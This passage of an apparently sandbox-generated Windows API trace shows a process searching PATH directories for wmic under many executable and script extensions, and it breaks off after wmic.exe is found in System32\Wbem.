files\\oracle\\java\\javapath\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.011] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.011] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.011] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.011] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.011] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.011] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.011] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.012] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.012] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.012] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.012] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.012] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.012] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.012] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.012] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.012] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.012] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.013] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.013] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.013] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.013] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.013] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.013] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.013] CreateFileW (lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.013] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.013] CreateFileW (lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.013] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.014] CreateFileW (lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.014] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.014] CreateFileW (lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.014] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.014] CreateFileW (lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.014] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.014] CreateFileW (lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.014] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.014] CreateFileW (lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.014] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.014] CreateFileW (lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.014] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.015] CreateFileW (lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.015] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.015] CreateFileW (lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.015] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.015] CreateFileW (lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.015] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.015] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.015] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde745e4d, ftCreationTime.dwHighDateTime=0x1d5acdd, ftLastAccessTime.dwLowDateTime=0x2b75b326, 